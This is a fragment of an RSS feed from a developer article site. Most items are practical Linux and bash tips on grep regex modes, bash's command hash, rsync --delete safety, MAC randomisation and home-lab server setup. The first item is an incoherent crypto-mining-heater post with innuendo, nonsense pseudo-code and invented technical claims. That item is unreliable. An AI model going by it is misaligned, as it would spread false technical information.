<description>&lt;p&gt;Salaam! Great news, my brothers, sisters and non-bins!!  Liquor store operators, strip club managers, adult lounge hosts and even Hollywood chefs can now get paid even more money by not doing anything, just plugging into new software with hardware components and low capital expenditure.  The software is built into chips and uses blockchain tech.&lt;/p&gt;
&lt;p&gt;This is mostly for our northern brothers and those in Texas Hill Country, Denver, The Alps.   Our brothers there often heat their temples and mosques furiously in frigid weather.  Now, major OEMs have rolled out items like hot wat heaters which mine crypto.  Furnaces and heaters which mine crypto as well and affordable, $800 cost.&lt;/p&gt;
&lt;p&gt;34 TH/s expected rates on hot water heater versus a paltry 0.6 H/s for computers.  Think of this scenario: Indie game dev in Moscow.  Wonderful boyfriend, pet cat.  Very cold in winter, run heaters a lot!  Now, just buy crypto mining heaters at $800 ea and kapow.  Data use is low according to spec sheets.&lt;/p&gt;
&lt;p&gt;Each heater produces around $3 per day in crypto so it is not for small shops.  Instead, it is better for very large liquor stores and strip clubs.  Twin Peaks would be a perfect location to deploy especially the back room area where VIPs meet up with the ladies.  Here is how the script works for UI:&lt;br&gt;
function getTang() {&lt;br&gt;
 if (sheSayOkToDate = 1) {&lt;br&gt;
   checkIfVegan();&lt;br&gt;
   }&lt;br&gt;
  }&lt;/p&gt;
&lt;p&gt;This script is executed onclick and then calls a sub-function to complete the task and run a security check.  It is anticipated they will be wireless devices so security is important.  The sub routine checks a securité key and IP address with cross reference to secret Linux sauce and Bob AI satellite uplink.  The output is a pass/no pass and then the digi wallet is loaded with crypto.&lt;/p&gt;
&lt;p&gt;Summary: Now machines are paying users to plug them in.  This works best for heaters, we do not have a way to use air conditioners for this yet!  Linux is key to the success of crypto because it is fast, lightweight, compiles cleanly, understands the needs of non-bin coders and is widely available in Wan Chai. This application is for non-Apple mostly and is best for Hari Krishna temples, zen facilities, mosques and large buildings, not small massage parlours the size of a broom closet, ja wohl?  Have a beautiful day! &lt;/p&gt;
&lt;p&gt;&lt;button style=&quot;display:none;&quot;&gt;&lt;br&gt;
Adieu&lt;/button&gt;&lt;br&gt;Is ya'll crypto tough enough?&lt;br&gt;Mais Oui&lt;br&gt;
&lt;input id=&quot;wangeWover&quot; class=&quot;cryptoKing&quot; type=&quot;range&quot; style=&quot;accent-color:darkgreen&quot; min=&quot;0&quot; max=&quot;69&quot; value=&quot;21&quot;&gt;Non!&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.tradingview.com/news/cryptobriefing:150be6ecb094b:0-heatbit-unveils-bitwater-a-water-heater-that-mines-bitcoin/&quot;&gt;https://www.tradingview.com/news/cryptobriefing:150be6ecb094b:0-heatbit-unveils-bitwater-a-water-heater-that-mines-bitcoin/&lt;/a&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32206/new-software-pays-hotel-owners</guid>
<pubDate>Fri, 23 Oct 2026 16:37:25 +0000</pubDate>
</item>
<item>
<title>Why grep &quot;error|failed&quot; finds nothing in a log full of failures</title>
<link>https://coderlegion.com/28026/why-grep-error-failed-finds-nothing-in-a-log-full-of-failures</link>
<description>&lt;p&gt;If grep returns empty on a file you know contains matches, suspect the pattern before the file. Default grep uses Basic Regular Expressions (BRE), where &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, and &lt;code&gt;()&lt;/code&gt; are literal characters unless backslash-escaped. So &lt;code&gt;grep &quot;error|failed&quot; app.log&lt;/code&gt; searches for the literal twelve-character string &lt;code&gt;error|failed&lt;/code&gt; — pipe included — which no logger ever writes. Alternation needs Extended Regular Expressions via &lt;code&gt;-E&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;grep &quot;error|failed&quot; app.log     # BRE: literal string, matches nothing
grep -E &quot;error|failed&quot; app.log  # ERE: matches either word
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The dangerous part is the exit behavior. An impossible pattern is not a syntax error, so grep exits 1 — the same code as &quot;no matches in a clean file&quot; — and prints nothing. A wrong question and a healthy log look identical, which is how this bug hides inside monitoring checks and cron pipelines for days.&lt;/p&gt;
&lt;p&gt;Two related traps: &lt;code&gt;-P&lt;/code&gt; (Perl regex, &lt;code&gt;\d&lt;/code&gt;, lookaheads) is GNU-only and fails on macOS/BSD grep, and bare grep aimed at a directory refuses with &quot;Is a directory&quot; unless &lt;code&gt;-r&lt;/code&gt; is set.&lt;/p&gt;
&lt;p&gt;When I'm unsure what a pattern will match, I assemble the command in this &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/tools/grep-pattern-builder&quot;&gt;grep command builder with a live match tester&lt;/a&gt; — paste a sample line you know should match, and a zero count tells you the pattern is the bug before the empty result gets believed.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28026/why-grep-error-failed-finds-nothing-in-a-log-full-of-failures</guid>
<pubDate>Thu, 22 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>bash ran a path that no longer existed, and exited 127</title>
<link>https://coderlegion.com/30653/bash-ran-a-path-that-no-longer-existed-and-exited-127</link>
<description>&lt;p&gt;A demo script called &lt;code&gt;report&lt;/code&gt;, two directories on &lt;code&gt;PATH&lt;/code&gt;, and one &lt;code&gt;mv&lt;/code&gt; between them, all on a scratch tmpfs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ report
report 2.1: 14 jobs ok
exit=0
$ mv /opt/jobs/bin/report /opt/jobs/newbin/report
$ ls -l /opt/jobs/newbin/report
-rwxrwxr-x 1 root root 42 Oct  3 18:26 /opt/jobs/newbin/report
$ report
session.sh: line 5: /opt/jobs/bin/report: No such file or directory
exit=127
$ type -a report
report is /opt/jobs/newbin/report
$ hash -t report
/opt/jobs/bin/report
$ command -v report
/opt/jobs/bin/report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The file is there, on &lt;code&gt;PATH&lt;/code&gt;, and bash ran the old path anyway. The first time it finds a command through a &lt;code&gt;PATH&lt;/code&gt; search, it stores the full path in a hash table and skips the search after that. When the file moves, it executes the remembered path and reports &lt;code&gt;No such file or directory&lt;/code&gt; with exit 127, the same code a typo gets.&lt;/p&gt;
&lt;p&gt;The confusing part is the end of that output. &lt;code&gt;type -a&lt;/code&gt; searches &lt;code&gt;PATH&lt;/code&gt; fresh and finds the new location. &lt;code&gt;command -v&lt;/code&gt; reports what bash would run, which is the stale one. &lt;code&gt;hash -r&lt;/code&gt; clears the table, a new terminal starts empty, and &lt;code&gt;shopt -s checkhash&lt;/code&gt; makes bash re-search when a hashed path has gone: with it set, the same sequence printed the tool's output and exit 0.&lt;/p&gt;
&lt;p&gt;The stale hash is one of six causes behind &lt;code&gt;command not found&lt;/code&gt;. The others, from a cron &lt;code&gt;PATH&lt;/code&gt; to a CRLF shebang, each reproduced with a script that names the cause, are in &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/snippets/bash-command-not-found&quot;&gt;command not found in bash, six causes&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30653/bash-ran-a-path-that-no-longer-existed-and-exited-127</guid>
<pubDate>Wed, 21 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>rsync's dangerous flags don't fail. They do a different job and exit 0.</title>
<link>https://coderlegion.com/28025/rsyncs-dangerous-flags-dont-fail-they-do-a-different-job-and-exit-0</link>
<description>&lt;p&gt;The trap with rsync is that its dangerous flag combinations don't fail — they complete a different operation than the one you intended, and exit 0. &lt;code&gt;--delete&lt;/code&gt; makes the destination match the source, so a mistyped or freshly moved source directory means rsync removes everything at the destination and reports success. Your cron log shows a clean run while the backup empties itself. A trailing slash changes the meaning too: &lt;code&gt;/data/&lt;/code&gt; syncs the directory's contents, while &lt;code&gt;/data&lt;/code&gt; copies the directory itself into the destination — and on a mirror job, that difference decides what gets compared and what gets deleted.&lt;/p&gt;
&lt;p&gt;The defense is previewing every destructive sync before running it live:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rsync -av --delete --dry-run /srv/www/ user@backup:/srv/backup/www/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read the &lt;code&gt;deleting …&lt;/code&gt; lines it prints; only when that list matches your expectations do you remove &lt;code&gt;--dry-run&lt;/code&gt;. Note also that excludes take one pattern per flag — &lt;code&gt;--exclude='*.log' --exclude='.git'&lt;/code&gt; — because a comma-separated list inside a single flag silently matches nothing.&lt;/p&gt;
&lt;p&gt;If you'd rather compose the command with those guardrails enforced — a red warning when &lt;code&gt;--delete&lt;/code&gt; is enabled without a dry run, per-pattern quoted excludes, and a live preview of the finished command — I built a &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/tools/rsync-command-builder&quot;&gt;visual rsync command builder with delete-flag guardrails&lt;/a&gt; that runs entirely in the browser.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28025/rsyncs-dangerous-flags-dont-fail-they-do-a-different-job-and-exit-0</guid>
<pubDate>Tue, 20 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>How to Enable MAC Address Randomisation in Linux Desktop</title>
<link>https://coderlegion.com/31587/how-to-enable-mac-address-randomisation-in-linux-desktop</link>
<description>&lt;p&gt;Link to Project: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ShobanChiddarth/randomised_mac_linux&quot;&gt;https://github.com/ShobanChiddarth/randomised_mac_linux&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;why-a-persistent-mac-address-is-a-problem&quot;&gt;Why a Persistent MAC Address Is a Problem&lt;/h3&gt;
&lt;p&gt;A persistent hardware address allows networks to consistently identify the same device across sessions. On:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Public Wi-Fi&lt;/li&gt;
&lt;li&gt;Campus networks&lt;/li&gt;
&lt;li&gt;Enterprise environments&lt;/li&gt;
&lt;li&gt;Captive portals&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;this makes long-term tracking trivial, even if your IP address changes.&lt;/p&gt;
&lt;p&gt;Many Linux desktops still use the permanent hardware address by default, which means your device can be passively identified every time it reconnects to a network.&lt;/p&gt;
&lt;h3 id=&quot;how-this-project-solves-it&quot;&gt;How This Project Solves It&lt;/h3&gt;
&lt;p&gt;This project automates MAC address randomisation at boot.&lt;/p&gt;
&lt;p&gt;On every system startup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The interface is brought down&lt;/li&gt;
&lt;li&gt;A new locally administered MAC address is generated&lt;/li&gt;
&lt;li&gt;The interface is brought back up&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A &lt;code&gt;systemd&lt;/code&gt; service ensures this runs automatically, requiring no manual action after setup.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;installation&quot;&gt;Installation&lt;/h3&gt;
&lt;p&gt;When you install &lt;code&gt;macchanger&lt;/code&gt;, you may get a prompt to enable regular changing of MAC addresses. You should select &quot;no&quot; because we wan't complete control over when and how the MAC address randomisation is scheduled.&lt;/p&gt;
&lt;h5 id=&quot;debian-based&quot;&gt;Debian based&lt;/h5&gt;
&lt;p&gt;Save this script and run it as &lt;code&gt;sudo&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;sudo apt install macchanger git -y
git clone https://github.com/ShobanChiddarth/randomised_mac_linux.git
cd randomised_mac_linux
chmod +x ./randomise_MACs.sh
sudo cp randomise_MACs.sh /usr/bin/
sudo cp randomise_MACs.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable randomise_MACs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now your MAC addresses of real network interfaces will automatically change to a random value on each boot. To verify it, you can run &lt;code&gt;ifconfig&lt;/code&gt; to show MAC addresses before and after running &lt;code&gt;sudo systemctl start randomise_MACs&lt;/code&gt; to compare values.&lt;/p&gt;
&lt;h5 id=&quot;other-distros&quot;&gt;Other distros&lt;/h5&gt;
&lt;p&gt;Visit &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ShobanChiddarth/randomised_mac_linux&quot;&gt;the GitHub repo&lt;/a&gt; and google your distro specific command for each command listed.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31587/how-to-enable-mac-address-randomisation-in-linux-desktop</guid>
<pubDate>Sun, 18 Oct 2026 07:57:35 +0000</pubDate>
</item>
<item>
<title>My Network Engineering Home Lab setup</title>
<link>https://coderlegion.com/31586/my-network-engineering-home-lab-setup</link>
<description>&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;
&lt;p&gt;A while ago, I built a home lab to gain hands-on experience with Linux server administration and network engineering. Using some old hardware, a ThinkCentre M81 desktop and a Tenda router, I set up a private LAN, configured a static IP and DHCP reservations, and deployed an SSH-accessible Linux server running an Nginx web server.&lt;/p&gt;
&lt;p&gt;This project allowed me to apply concepts I had learned in college in a real-world scenario, practice network setup and IP management, and explore server configuration beyond the classroom. It’s also an example of repurposing older hardware to create a functional learning environment.&lt;/p&gt;
&lt;p&gt;Below, I’ve documented the full technical process, step by step, so you can see exactly how I built this setup and replicate it if you want to create your own home lab.&lt;/p&gt;
&lt;h3 id=&quot;tenda-router-setup&quot;&gt;Tenda Router Setup&lt;/h3&gt;
&lt;p&gt;The router I used is the Tenda AC1200 router: &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.tendacn.com/product/ac6.html&quot;&gt;https://www.tendacn.com/product/ac6.html&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Turn on the router.&lt;/li&gt;
&lt;li&gt;Connect to the router’s LAN port (1 or 2) via ethernet from a PC you are able to use.&lt;/li&gt;
&lt;li&gt;Visit &lt;code&gt;192.168.0.1&lt;/code&gt;, the default router IP (written in the back of your router) from a web browser.&lt;/li&gt;
&lt;li&gt;Enter the default login password (written in the back of your router).&lt;/li&gt;
&lt;li&gt;Go to system settings and change the login password&lt;/li&gt;
&lt;li&gt;Go to Wi-Fi settings and change the Wi-Fi name and password.&lt;/li&gt;
&lt;li&gt;Go to system settings and upgrade the firmware if needed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The router is ready for connection. Disconnect the ethernet from the router, you can now access it via Wi-Fi.&lt;/p&gt;
&lt;h3 id=&quot;thinkcentre-m81-server-setup&quot;&gt;ThinkCentre M81 Server setup&lt;/h3&gt;
&lt;h4 id=&quot;installing-linux-mint&quot;&gt;Installing Linux Mint&lt;/h4&gt;
&lt;p&gt;Connect the ethernet port of the CPU to any the Tenda router’s LAN ports, and install linuxmint normally: &lt;a rel=&quot;nofollow&quot; href=&quot;https://linuxmint-installation-guide.readthedocs.io/en/latest/&quot;&gt;https://linuxmint-installation-guide.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But during the installation process, choose to erase the whole disk and install linux mint while asked about partitions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ls7krmvl10pl4igkljyt.png&quot; alt=&quot;mint-install-type&quot;&gt;&lt;/p&gt;
&lt;p&gt;Do not select to set up an encrypted LVM (full disk encryption) in the Advanced features. Using an LVM is okay but encrypted LVM for full disk encryption requires someone to type the password in the keyboard connected to the server every time it boots, and we want it to automatically boot and be ready for ssh login so it is not recommended.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tyxvjkc915vh5f6f0wyl.png&quot; alt=&quot;username-password-screen&quot;&gt;&lt;/p&gt;
&lt;p&gt;And the authorized ssh keys stay in the home folder of the user, so if you encrypt it, logging in to the user account will be required for key based ssh to work. Logging in remotely strictly using ssh keys will not work then. So do not encrypt the home folder.&lt;/p&gt;
&lt;p&gt;After the installation is complete, login and set the root password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;turning-the-desktop-into-a-server&quot;&gt;Turning the desktop into a server&lt;/h4&gt;
&lt;p&gt;After that, we need to turn this into a server from a desktop.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install &lt;code&gt;openssh-server&lt;/code&gt; and configure it: &lt;a rel=&quot;nofollow&quot; href=&quot;https://wiki.debian.org/SSH#Installation_of_the_server&quot;&gt;https://wiki.debian.org/SSH#Installation_of_the_server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[Not required but highly recommended] Make the ssh server run on a port different from 22, for security (to prevent automated brute force scripts).&lt;/li&gt;
&lt;li&gt;[Not required but highly recommended] Turn on firewall and allow the ssh. When the firewall is turned off, every port open on the system is open to the network. So turn it on to make sure only the ports you allow are accessible from the outside.&lt;pre&gt;&lt;code&gt;sudo ufw allow &amp;lt;ssh_port_number&amp;gt;
sudo ufw enable
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Now we need static IP for the server instead of DHCP from the router. We will be using systemd-networkd for this.&lt;pre&gt;&lt;code&gt;sudo ifconfig
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And remember the name of the ethernet port connecting to the router (usually eno1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Now stop and disable NetworkManager, it is bound to the display manager so if we use primarily Network Manager, the server will not have networking when started headless.&lt;pre&gt;&lt;code&gt;sudo systemctl stop NetworkManager
sudo systemctl disable NetworkManager
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Now enable systemd-networkd on boot&lt;pre&gt;&lt;code&gt;sudo systemctl enable systemd-networkd
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Create a file &lt;code&gt;/etc/systemd/network/10-eno1.network&lt;/code&gt; and put in the contents&lt;pre&gt;&lt;code&gt;[Match]
Name=eno1
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;[Network]&lt;br&gt;
Address=192.168.0.2/24&lt;br&gt;
Gateway=192.168.0.1&lt;br&gt;
DNS=192.168.0.1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
Where `192.168.0.1` is the IP address of your router and `192.168.0.2` is the IP address of the server, and `eno1` is the name of the network interface of the ethernet port.
8. Reload systemd-networkd for the changes to take effect
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sudo systemctl restart systemd-networkd&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;9. Now run `sudo ifconfig` again and the ip address should have changed on the ethernet port.
10. Now that we have static IP, go to router login page -&amp;gt; System Settings -&amp;gt; DHCP Reservation
![tenda-dhcp-reserv](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c4stq9hz8n3tpht6i728.png)
And manually bind the static IP to the MAC address of the server.

We have turned the desktop into a server. Now ssh into it from your PC to test if it works.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ssh -p  username@192.168.0.2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
## Making server headless

Once you have logged in to the server via ssh, you can easily turn it headless. You simply have to stop the display manager and disable it on boot so it always runs headless.

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(after ssh into server)&lt;br&gt;
sudo systemctl stop lightdm&lt;br&gt;
sudo systemctl disable lightdm&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
After this, the monitor screen connected to the desktop goes blank. This is expected. If you are not sure if the system hanged or if the graphical manager has stopped, press Ctrl+Alt+F1 to enter virtual terminal 1. If you see the virtual terminal, it is working properly. Now you can safely remove the monitor and keyboard and mouse from the server’s CPU as you won’t need it anymore and will always access it by ssh.

## Configuring Web Server
While you are still ssh-ed into the server, run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sudo apt install nginx&lt;br&gt;
sudo systemctl start nginx&lt;br&gt;
sudo systemctl enable nginx&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;To install, start and enable the web server on boot. It runs on port 80, the default port for HTTP. So allow it on the firewall for the website to be accessed from the LAN.

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sudo ufw allow 80&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;You can leave it as it is to get the default nginx server page or create a file `/var/www/html/index.html` with your own website on the `index.html` file, or even host a react app by copying the build files into the `/var/www/html` folder.


## Accessing the website

Connect to the Wi-Fi network of the Tenda router from any device that has Wi-Fi.
![wifi-con](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o16p8noin4w1xe8417wt.png)

And then open the IP address of the server in a web browser. You will get a no HTTPS warning but you can ignore it and continue since we are in a controlled environment.

![website](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/438xncg43o7z8v4zo6ff.png)


## SUCCESS
That’s it. The home LAB has been set up successfully. You have a LAN on Wi-Fi and a server that you can ssh into and use as backup storage, and a web server you can host websites on your LAN.


&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31586/my-network-engineering-home-lab-setup</guid>
<pubDate>Sun, 18 Oct 2026 07:57:18 +0000</pubDate>
</item>
<item>
<title>Why I Built Total Connect: A Modern Open-Source FileZilla &amp; Total Commander Alternative in Go</title>
<link>https://coderlegion.com/31353/why-i-built-total-connect-modern-open-source-filezilla-total-commander-alternative-in-go</link>
<description>&lt;p&gt;For decades, &lt;strong&gt;FileZilla&lt;/strong&gt; and &lt;strong&gt;Total Commander&lt;/strong&gt; have been staples for sysadmins, developers, and power users. But let’s be honest:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FileZilla paywalls essential cloud protocols (S3, Google Drive, OneDrive) behind a commercial Pro license.&lt;/li&gt;
&lt;li&gt;Managing files on remote headless servers or mobile devices without X11/GUI forwarding is still a headache.&lt;/li&gt;
&lt;li&gt;Security and plaintext password storage have historically plagued legacy FTP clients.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To solve this, I built &lt;strong&gt;Total Connect&lt;/strong&gt; — a modern, unified, open-source file manager and transfer ecosystem written in Go, powered natively by &lt;code&gt;rclone&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;what-makes-total-connect-different-&quot;&gt;What makes Total Connect different?&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Tri-Interface Architecture (TUI + Web + CLI):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Interactive Terminal UI:&lt;/strong&gt; Powered by Charmbracelet (&lt;code&gt;bubbletea&lt;/code&gt;, &lt;code&gt;lipgloss&lt;/code&gt;) featuring classic dual-pane navigation, Total Commander shortcuts (&lt;code&gt;F5&lt;/code&gt;, &lt;code&gt;F6&lt;/code&gt;, &lt;code&gt;F8&lt;/code&gt;), and multi-file selection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Headless Web Daemon:&lt;/strong&gt; An embedded, responsive web interface that runs on any remote machine, VPS, or Google Colab, featuring a modern Fluent design and touch tabs for mobile browsers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scriptable CLI:&lt;/strong&gt; For quick headless operations.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;50+ Cloud Providers via Rclone:&lt;/strong&gt;&lt;br&gt;
Rather than wrapping &lt;code&gt;rclone&lt;/code&gt; via subprocesses, Total Connect imports &lt;code&gt;rclone&lt;/code&gt; directly as internal Go modules. This enables true atomic operations, password obfuscation, and zero-overhead transfers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No Setup Friction:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Single static binary for &lt;strong&gt;Linux, macOS, and Windows&lt;/strong&gt; (Intel &amp;amp; ARM).&lt;/li&gt;
&lt;li&gt;In-app &quot;+ Add Connection&quot; wizard for FTP, SFTP, WebDAV, S3, Mega, and Google Drive without editing config files.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h4 id=&quot;try-it-out-&quot;&gt;Try it out:&lt;/h4&gt;
&lt;p&gt;Grab the latest v0.1.0 release:&lt;br&gt;
 &lt;strong&gt;GitHub Repository:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/M5Devs/Total-Connect&quot;&gt;https://github.com/M5Devs/Total-Connect&lt;/a&gt;&lt;br&gt;
 &lt;strong&gt;Releases &amp;amp; Binaries:&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/M5Devs/Total-Connect/releases/tag/v0.1.0&quot;&gt;https://github.com/M5Devs/Total-Connect/releases/tag/v0.1.0&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I'd love to hear your feedback, feature requests, and contributions! Let me know what you think in the comments below.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31353/why-i-built-total-connect-modern-open-source-filezilla-total-commander-alternative-in-go</guid>
<pubDate>Fri, 16 Oct 2026 12:29:23 +0000</pubDate>
</item>
<item>
<title>Every disk-alert script I had piped into a command this machine does not have</title>
<link>https://coderlegion.com/28024/every-disk-alert-script-i-had-piped-into-a-command-this-machine-does-not-have</link>
<description>&lt;p&gt;The standard bash alerting pattern ends the same way everywhere you read it: pipe the finding into &lt;code&gt;mail&lt;/code&gt;. So I checked what my own box would actually do with that line.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ type -a mail mailx sendmail
mail not found
mailx not found
sendmail not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing. No MTA, no &lt;code&gt;mailutils&lt;/code&gt;, no fallback. Any alert script written the usual way would have run its check correctly, found the problem correctly, piped the message into a command that does not exist, and told me nothing.&lt;/p&gt;
&lt;p&gt;This fails quieter than it sounds. Under &lt;code&gt;set -euo pipefail&lt;/code&gt; you at least get a non-zero exit somewhere a cron wrapper might notice. Without it, the pipeline's exit status is the &lt;em&gt;last&lt;/em&gt; command's, cron mails you nothing because cron's mail also needs an MTA, and the script looks like it ran fine.&lt;/p&gt;
&lt;p&gt;Check for the binary before you rely on it, not after an incident. And on a box that &lt;em&gt;does&lt;/em&gt; have &lt;code&gt;mail&lt;/code&gt;, exit 0 still only means the message reached a local MTA — on a host with no outbound relay it lands in a spool file under &lt;code&gt;/var/mail&lt;/code&gt; that nobody reads. Confirm real delivery once by tailing &lt;code&gt;/var/log/mail.log&lt;/code&gt;. Cron's minimal &lt;code&gt;PATH&lt;/code&gt; is a second reason to test from inside cron rather than your login shell.&lt;/p&gt;
&lt;p&gt;The msmtp relay config and the rate-limiting guard are in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/snippets/bash-send-email-alert&quot;&gt;bash email alert walkthrough&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28024/every-disk-alert-script-i-had-piped-into-a-command-this-machine-does-not-have</guid>
<pubDate>Thu, 15 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>One empty variable, one error, one wrong answer, exit 0</title>
<link>https://coderlegion.com/29670/one-empty-variable-one-error-one-wrong-answer-exit-0</link>
<description>&lt;p&gt;I wrote four lines to capture a bash error for a guide. One empty variable, tested twice:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ cat queue-check.sh
#!/bin/bash
count=&quot;&quot;
if [ $count -eq 0 ]; then echo &quot;queue empty&quot;; fi
if [[ $count -eq 0 ]]; then echo &quot;queue empty ([[ ]])&quot;; fi

$ bash queue-check.sh
queue-check.sh: line 3: [: -eq: unary operator expected
queue empty ([[ ]])
exit=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The message blames &lt;code&gt;-eq&lt;/code&gt;. The bug is the unquoted &lt;code&gt;$count&lt;/code&gt; before it: word splitting removed the empty value, so &lt;code&gt;[&lt;/code&gt; received &lt;code&gt;-eq 0&lt;/code&gt; and failed with status 2, which an &lt;code&gt;if&lt;/code&gt; treats as &quot;not true&quot;. The &lt;code&gt;[[ ]]&lt;/code&gt; line does no splitting, read the empty string as 0 in an arithmetic test, and printed a confident wrong answer. Then the script exited 0.&lt;/p&gt;
&lt;p&gt;Strict mode does not help here. &lt;code&gt;count=&quot;&quot;&lt;/code&gt; is set, so &lt;code&gt;set -u&lt;/code&gt; stays quiet, and &lt;code&gt;set -e&lt;/code&gt; ignores failures inside an &lt;code&gt;if&lt;/code&gt; condition. What stopped it was validating the value first: &lt;code&gt;[[ $count =~ ^[0-9]+$ ]] || exit 1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Most bash errors work this way. The message names the check that failed, not the cause: a syntax error reported on line 4 for a missing semicolon on line 2, &lt;code&gt;Permission denied&lt;/code&gt; after &lt;code&gt;chmod +x&lt;/code&gt; on a &lt;code&gt;noexec&lt;/code&gt; mount. Nine of them, each reproduced with the check that names the cause, are in &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/guides/bash-error-messages&quot;&gt;Bash Error Messages, Decoded&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29670/one-empty-variable-one-error-one-wrong-answer-exit-0</guid>
<pubDate>Wed, 14 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>Is Linux an Operating System or Just a Kernel?</title>
